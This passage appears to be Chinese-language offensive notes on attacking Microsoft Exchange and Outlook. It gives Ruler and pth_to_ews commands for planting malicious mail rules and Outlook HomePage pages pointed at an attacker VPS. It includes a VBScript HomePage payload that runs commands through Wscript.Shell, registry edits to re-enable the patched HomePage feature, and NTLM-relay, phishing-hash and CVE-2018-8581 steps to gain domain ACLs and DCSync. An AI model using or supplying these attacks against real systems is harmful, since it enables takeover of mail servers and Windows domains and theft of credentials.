ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug delete —id 020000006cfcd8d7
webdav可以這樣開
pip install WsgiDAV cheroot
wsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/
沒有CVE編號,但是有些版本Outlook沒測試成功,可以看下這篇文章Outlook 2016 rules start application option gone
3. HomePage
1.Ruler
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage display
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage add —url http://x
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密碼 —verbose —debug homepage delete
2.pth_to_ews.exe
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密碼 -Purl http://VPS:9090/aa.html -Type Set
HomePage 的內容是
<html> <head> <meta http-equiv="Content-Language" content="en-us"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <title>Outlook</title> <script id=clientEventHandlersVBS language=vbscript> <!-- Sub window_onload() Set Application = ViewCtl1.OutlookApplication Set cmd = Application.CreateObject("Wscript.Shell") cmd.Run("calc") End Sub --> </script> </head> <body> <object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object> </body> </html>這個是彈計算器的 自行修改,
在2017 年 11 月安全更新修復,CVE-2017-11774
修復后 Homepage 默認關閉,重新啟用:
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security] "EnableRoamingFolderHomepages"=dword:00000001
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Outlook\Security]DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable.
0x10 NTLM_Relay
在之前的系列文章里面曾經說過ntlm_relay,ntlm_relay在Exchange上的應用也很廣泛.
主要有以下幾種攻擊場景
- 普通用戶relay 到ews接口
由於EWS接口也支持NTLM SSP的。我們可以relay到EWS接口,從而收發郵件,代理等等。在使用outlook的情況下還可以通過homepage或者下發規則達到命令執行的效果。而且這種Relay還有一種好處,將Exchange開放在外網的公司並不在少數,我們可以在外網發起relay,而不需要在內網.
而outlook有個設計缺陷(具體版本稍不清楚),又可以導致我們給魚兒發一封郵箱,對方只需查看郵件,無需預覽,就可以拿到魚兒的ntlm請求.
我們給魚兒發一封郵件,使用HTML,在里面插入以下語句


這里支持兩種協議,這里說下兩個的區別
UNCUNC默認攜帶憑據,但是如果IP 是公網IP的話,很多公司是訪問不到公網445的
HTTP協議默認不攜帶憑據,只有信任域(域內DNS記錄)才會攜帶憑據.域內的成員默認有增加DNS的權限,可以用域內成員的權限在內網增加一條DNS記錄.
給魚兒發送郵箱
當魚兒用outlook打開的時候就會觸發請求,我們再將請求relay到EWS接口
relay到EWS接口查看郵件
relay到EWS接口通過HomePage控制Outlook客戶端
- Exchange中的SSRF
在常規滲透中,SSRF常用以對內網的應用進行嗅探,配合內網某些未授權訪問的應用來擴大攻擊面.由於Exchange的SSRF默認攜帶憑據,在Relay的場景中,攻擊利用面被不斷放大,網上公開的一個SSRF就是CVE-2018-8581.
主要有兩種應用,relay到EWS接口,relay到LDAP
(1) relay到EWS接口
由於Exchange 是以System用戶的權限運行,因此我們拿到的是機器用戶的Net-Ntlm Hash。並不能直接用以登錄。但是Exchange 機器用戶可以獲得TokenSerializationRight的”特權”會話,可以Relay 到 機子本身的Ews接口,然后可以使用SOAP請求頭來冒充任何用戶。
具體利用請見Wyatu師傅的https://github.com/WyAtu/CVE-2018-8581
(2) relay到LDAP
所有的Exchange Server 都在Exchange Windows Permissions組里面,而這個組默認就對域有WriteACL權限.因此我們可以relay到LDAP,而又由於Relay到的服務端是Ldap,Ldap服務器的默認策略是協商簽名。而不是強制簽名。是否簽名由客戶端決定。在SSRF里面發起的請求是http協議,http協議是不要求進行簽名.
這里面
攻擊者:172.16.228.1
Exchange:172.16.228.133
域控:172.16.228.135
使用impacket監聽端口等待連接
發起推送訂閱指定所需的URL,Exchange. 服務器將嘗試向這個URL發送通知
Relay 到域控的Ldap 服務器並給普通用戶daiker添加兩條acl
daiker進行Dcync
網上資料總結,侵權聯系刪